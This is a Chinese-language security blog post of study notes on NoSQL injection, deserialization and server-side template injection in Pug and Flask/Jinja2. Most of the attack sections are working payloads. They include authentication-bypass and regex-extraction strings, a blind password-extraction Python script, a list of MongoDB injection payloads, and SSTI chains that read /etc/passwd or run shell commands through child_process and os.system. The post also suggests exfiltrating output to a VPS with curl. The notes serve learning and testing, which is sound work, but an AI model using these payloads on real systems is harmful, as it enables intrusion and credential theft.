杂文1

NOTE-2020/3/5

nosql注入

[{"$gt":""}] 大于NULL(恒等)相当于 or 1=1

1
2
3
4
5
6
7
(>)大于 - $gt
(<)小于 - $lt
(>=)大于等于 - $gte
(<=)小于等于 - $lte
(!=)不等于 - $ne

(re)正则 - $regex
  • e.g.:
    • 客户端POST数据格式为json: { "用户名":"admin","密码": "GuessingAdminPassword" }
    • 服务端逻辑: db.collection(collection).find({"username":username,"password":password}).limit(1)
    • 注入: {"username":"admin","password":{"$gt":""}
    • qs 模块: 允许在参数中使用括号表示。 username[value] = admin&password [value] = admin ===> {"username":{"value":"admin"},"password":{"value":"admin" }}
      • payload: username=admin&password[$gt]=
      • 服务端请求json: {"username": "admin", "password":{"$gt":""}
  • payload:

    https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection

    • 绕过基础认证:username[$ne]=toto&password[$ne]=toto
    • 长度提取:username[$ne]=toto&password[$regex]=.{3} 长度为3
    • 内容提取:username[$ne]=toto&password[$regex]=md.{1} // username[$ne]=toto&password[$regex]=m.*
    • blind:
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      import requests
      import urllib3
      import string
      import urllib
      urllib3.disable_warnings()

      username="admin"
      password=""
      u="http://example.org/login"
      headers={'content-type': 'application/json'}

      while True:
      for c in string.printable:
      if c not in ['*','+','.','?','|']:
      payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
      r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
      if 'OK' in r.text or r.status_code == 302:
      print("Found one more char : %s" % (password+c))
      password += c
    • MongoDB Payloads:
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      true, $where: '1 == 1'
      , $where: '1 == 1'
      $where: '1 == 1'
      ', $where: '1 == 1'
      1, $where: '1 == 1'
      { $ne: 1 }
      ', $or: [ {}, { 'a':'a
      ' } ], $comment:'successful MongoDB injection'
      db.injection.insert({success:1});
      db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
      || 1==1
      ' && this.password.match(/.*/)//+%00
      ' && this.passwordzz.match(/.*/)//+%00
      '%20%26%26%20this.password.match(/.*/)//+%00
      '%20%26%26%20this.passwordzz.match(/.*/)//+%00
      {$gt: ''}
      [$ne]=1

      https://blog.websecurify.com/2014/08/hacking-nodejs-andmongodb.html
      https://www.owasp.org/index.php/Testing_for_NoSQL_injection

反序列化

  • 序列化: 序列化常用于生成值/数据的可存储表示而不会丢失其类型或结构。序列化将对象转换为字节流,以通过网络传输或存储。通常,转换方法涉及 XML,JSON 或特定于该语言的序列化方法。
  • e.g. :

模板注入

  • 模板:将静态部分糅合,操作方便,不用手写静态结构。可实现代码化。

  • 模板注入是指用户输入直接传递到渲染模板,允许修改底层模板。

  • 检测:检查我们提供的输入参数是否可以处理基本操作

  • 一句话:破坏模板结构,使输入进入模板底层并执行。

  • Pug模板注入:

    • %0a - 换行符,破坏输入结构,进入底层

    • %3d - 编码”=”,pug系统等号输出js执行结果

    • e.g. : 构造 GET /ti?user=%0a%3d9*9 输出为81

    • 攻击步骤:

      1. 访问全局:%0a%3d%20%67%6c%6f%62%61%6c ==> %0a%3d globa
      2. 使用each迭代器查找可访问的对象: %65%61%63%68%20%76%61%6c%2c%69%6e%64%65%78%20%69%6e%67%6c%6f%62%61%6c%20%70%3d%69%6e%64%65%78 ==> each val,index inglobal p=index
      3. 目的:寻找到包含require方法的对象。
        1
        2
        var x = global.process.mainModule.require
        x('child_process').exec('cat / etc / passwd >>/opt/web/chatSupportSystems/public/ accounts.txt')
    • 工具:tplmap ==> ./tplmap.py -u "http://chat:3000/ti?user=*&comment=asdfasdf&link=

       https://github.com/epinna/tplmap

  • flask模板注入

    • flask基础

      • 路由:

        1
        2
        3
        4
        from flask import flask 
        @app.route('/index/')
        def hello_word():
        return 'hello word'

        router装饰器将函数与url连接起来,当访问 http://127.0.0.1/index 时返回 hello word

      • 渲染:

        • render_template : 渲染指定文件

          return render_template('index.html')

        • render_template_string : 渲染字符串(SSTI与他有关)

          1
          2
          html = '<h1>This is index page</h1>'
          return render_template_string(html)
      • 模板:

        • 根目录下的 templates 文件夹存放html文件
        • 模板支持调用模板函数来传参:
          1
          2
          3
          4
          5
          # test.py
          from flask import Flask,url_for,redirect,render_template,render_template_string
          @app.route('/index/')
          def user_login():
          return render_template('index.html',content='This is index page.')
          1
          2
          # /templates/index.html
          <h1>{{content}}</h1>
          模板文件中用{{}}`包裹变量 * flask模板注入: + ***不正确的使用flask中的render_template_string方法会引发SSTI*** + xss漏洞:
          1
          2
          3
          4
          5
          6
          7
          @app.route('/test/')
          def test():
          code = request.args.get('id')
          html = '''
          <h3>%s</h3>
          '''%(code)
          return render_template_string(html)
          由于code参数可控,被直接拼接进模板文件内容,当传入 `` 时导致xss * 修改一下代码:
          1
          2
          3
          4
          @app.route('/test/')
          def test():
          code = request.args.get('id')
          return render_template_string('<h1>{{ code }}</h1>',code=code)
          此时是安全的,传入js语句会被渲染时编码转义,此时***用户可控的是code变量,而不是模板文件内容*** + SSTI文件读取/命令执行: * tips: `{{}}
          不仅可以传参,还可以在里面执行简单的表达式,例如 ?id={{2*4}} 会输出8
        • ?id={{config}} 输出 flask 的全局变量
        • 所以 flask 利用思路和 pug 相同:
          • 找到父类<type ‘object’>–>寻找子类–>找关于命令执行或者文件操作的模块。
        • 几个魔术方法:
          1
          2
          3
          4
          5
          6
          7
          8
          __class__  返回类型所属的对象
          __mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
          __base__ 返回该对象所继承的基类
          // __base____mro__都是用来寻找基类的

          __subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
          __init__ 类的初始化方法
          __globals__ 对包含函数全局变量的字典的引用
        • 获取字符串类对象:
          1
          2
          >>> ''.__class__
          <type 'str'>
        • 寻找基类的可用引用:
          1
          2
          >>> ''.__class__.__mro__[2].__subclasses__()
          [<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
        • 可以看到 <type 'file'>
        • 利用: ?id={{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
      • 命令执行:

        • 思路和构造文件读取的一样: 寻找包含os模块的脚本
          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          #!/usr/bin/env python
          # encoding: utf-8
          for item in ''.__class__.__mro__[2].__subclasses__():
          try:
          if 'os' in item.__init__.__globals__:
          print num,item
          num+=1
          except:
          print '-'
          num+=1
        • 利用: ?id={{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')}}
          • 结果不会回显,可用 curl 命令传回vps
      • bypass payload:

        https://0day.work/jinja2-template-injection-filter-bypasses/


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!